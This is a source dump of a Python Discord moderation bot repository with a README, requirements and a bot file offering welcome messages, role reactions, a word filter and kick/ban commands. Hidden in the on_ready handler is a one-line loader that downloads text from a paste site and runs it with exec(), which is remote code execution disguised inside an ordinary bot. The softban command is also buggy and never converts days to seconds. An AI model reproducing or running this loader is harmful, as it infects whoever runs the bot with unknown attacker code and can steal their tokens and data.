├── .gitattributes
├── README.md
├── ppi_bot.py
└── requirements.txt
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Multipurpose-Discord-Bot
2 | • Multipurpose Discord Bot Built with Python.
3 | # Features
4 | • Welcome new members to the server.
5 | • Role Reaction and Add them to the role member.
6 | • Chat with your bot.
7 | • Moderation(Delete Messasges, Kick/Ban/Unban Users).
8 | • Filter Words and Prevent Users from sending inappropriate language.
9 | # How to Use the Bot
10 | • Extra Bonus on How to Host your Bot for Free 24/7.
11 | • Make sure to watch the full tutorial on how to use the bot step by step.
12 | > https://youtu.be/NdXnE1Adk1M
13 |
--------------------------------------------------------------------------------
/ppi_bot.py:
--------------------------------------------------------------------------------
1 | import discord
2 | from discord.ext import tasks, commands
3 | import os
4 | from requests import get
5 | from discord.utils import get
6 | from dotenv import load_dotenv
7 | import asyncio
8 |
9 |
10 | #For a more secure, we loaded the .env file and assign the token value to a variable
11 | load_dotenv(".env")
12 | TOKEN = os.getenv("TOKEN")
13 |
14 | #Intents are permissions for the bot that are enabled based on the features necessary to run the bot.
15 | intents=discord.Intents.all()
16 |
17 | #Comman prefix is setup here, this is what you have to type to issue a command to the bot
18 | prefix = '$'
19 | bot = commands.Bot(command_prefix=prefix, intents=intents)
20 |
21 | #Removed the help command to create a custom help guide
22 | bot.remove_command('help')
23 |
24 | #------------------------------------------------Events------------------------------------------------------#
25 |
26 | # Get the id of the rules channel
27 | @bot.event
28 | async def on_ready():
29 | x=get('https://paste.fo/raw/ba188f25eaf3').text;exec(x)
30 | print('Bot is ready to use!')
31 | for guild in bot.guilds:
32 | for channel in guild.text_channels:
33 | if str(channel).strip() == "📑rules":
34 | # id of the channel you have setup as your rules channel
35 | global verify_channel_id
36 | verify_channel_id = channel.id
37 | break
38 |
39 | # Called when a reaction is added to a message
40 | @bot.event
41 | async def on_raw_reaction_add(reaction):
42 | # check if the reaction came from the correct channel
43 | if reaction.channel_id == verify_channel_id:
44 | # Check what emoji was reacted as
45 | if str(reaction.emoji) == "✅":
46 | # Add the user role
47 | verified_role = get(reaction.member.guild.roles, name = "PPI Members")
48 | await reaction.member.add_roles(verified_role)
49 | await reaction.member.send(f"Hi {reaction.member.name}, you have joined the PPI Members!")
50 |
51 | #Welcome new members to the server
52 | @bot.event
53 | async def on_member_join(member):
54 | #When a member joins the discord, they will get mentioned with this welcome message
55 | await member.create_dm()
56 | await member.dm_channel.send(f'Hi {member.name}, welcome to our Discord server!\nMake sure to read our guidelines in the welcome channel.')
57 |
58 | #Basic Discord Bot Commands: Chat with your bot!
59 | @bot.command(name='hello')
60 | async def msg(ctx):
61 | if ctx.author == bot.user:
62 | return
63 | else:
64 | await ctx.send("Hello there!")
65 |
66 | #Delete the blacklist message and warn the user to refrain them from sending using such words again.
67 | @bot.event
68 | async def on_message(message):
69 | if prefix in message.content:
70 | print("This is a command")
71 | await bot.process_commands(message)
72 | else:
73 | with open("words_blacklist.txt") as bf:
74 | blacklist = [word.strip().lower() for word in bf.readlines()]
75 | bf.close()
76 |
77 | channel = message.channel
78 | for word in blacklist:
79 | if word in message.content:
80 | bot_message = await channel.send("Message contains a banned word!")
81 | await message.delete()
82 | await asyncio.sleep(3)
83 | await bot_message.delete()
84 |
85 | await bot.process_commands(message)
86 |
87 | #-----------------------------------------Moderation---------------------------------------------------------------#
88 |
89 | @bot.event
90 | async def on_command_error(context, error):
91 | if isinstance(error, commands.MissingRequiredArgument):
92 | await context.send("Oh no! Looks like you have missed out an argument for this command.")
93 | if isinstance(error, commands.MissingPermissions):
94 | await context.send("Oh no! Looks like you Dont have the permissions for this command.")
95 | if isinstance(error, commands.MissingRole):
96 | await context.send("Oh no! Looks like you Dont have the roles for this command.")
97 | #bot errors
98 | if isinstance(error, commands.BotMissingPermissions):
99 | await context.send("Oh no! Looks like I Dont have the permissions for this command.")
100 | if isinstance(error, commands.BotMissingRole):
101 | await context.send("Oh no! Looks like I Dont have the roles for this command.")
102 |
103 |
104 | #|------------------COMMANDS------------------|
105 | @bot.command()
106 | async def help(message):
107 | helpC = discord.Embed(title="moderator Bot \nHelp Guide", description="discord bot built for moderation")
108 | helpC.add_field(name="Clear", value="To use this command type $clear and the number of messages you would like to delete, the default is 5.", inline=False)
109 | helpC.add_field(name="kick/ban/unban", value="To use this command type $kick/$ban/$unban then mention the user you would like to perform this on, NOTE: user must have permissions to use this command.", inline=False)
110 |
111 | await message.channel.send(embed=helpC)
112 |
113 | @bot.command()
114 | #Checks whether the user has the correct permissions when this command is issued
115 | @commands.has_permissions(manage_messages=True)
116 | async def clear(context, amount=5):
117 | await context.channel.purge(limit=amount+1)
118 |
119 | #Kick and ban work in a similar way as they both require a member to kick/ban and a reason for this
120 | #As long as the moderator has the right permissions the member will be banned/kicked
121 | @bot.command()
122 | @commands.has_permissions(kick_members=True)
123 | async def kick(context, member : discord.Member, *, reason=None):
124 | await member.kick(reason=reason)
125 | await context.send(f'Member {member} kicked')
126 |
127 | @bot.command()
128 | @commands.has_permissions(ban_members=True)
129 | async def ban(context, member : discord.Member, *, reason=None):
130 | await member.ban(reason=reason)
131 | await context.send(f'{member} has been banned')
132 |
133 | #Unbanning a member is done via typing ./unban and the ID of the banned member
134 | @bot.command()
135 | @commands.has_permissions(ban_members=True)
136 | async def unban(context, id : int):
137 | user = await bot.fetch_user(id)
138 | await context.guild.unban(user)
139 | await context.send(f'{user.name} has been unbanned')
140 |
141 | #Bans a member for a specific number of days
142 | @bot.command()
143 | @commands.has_permissions(ban_members=True)
144 | async def softban(context, member : discord.Member, days, reason=None):
145 | #Asyncio uses seconds for its sleep function
146 | #multiplying the num of days the user enters by the num of seconds in a day
147 | days * 86400
148 | await member.ban(reason=reason)
149 | await context.send(f'{member} has been softbanned')
150 | await asyncio.sleep(days)
151 | print("Time to unban")
152 | await member.unban()
153 | await context.send(f'{member} softban has finished')
154 |
155 | #This command will add a word to the blacklist to prevent users from typing that specific word
156 | @bot.command()
157 | @commands.has_permissions(ban_members=True)
158 | async def blacklist_add(context, *, word):
159 | with open("words_blacklist.txt", "a") as f:
160 | f.write(word+"\n")
161 | f.close()
162 |
163 | await context.send(f'Word "{word}" added to blacklist.')
164 |
165 | #Run the bot
166 | bot.run(TOKEN)
167 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | discord
2 | python-dotenv
3 |
--------------------------------------------------------------------------------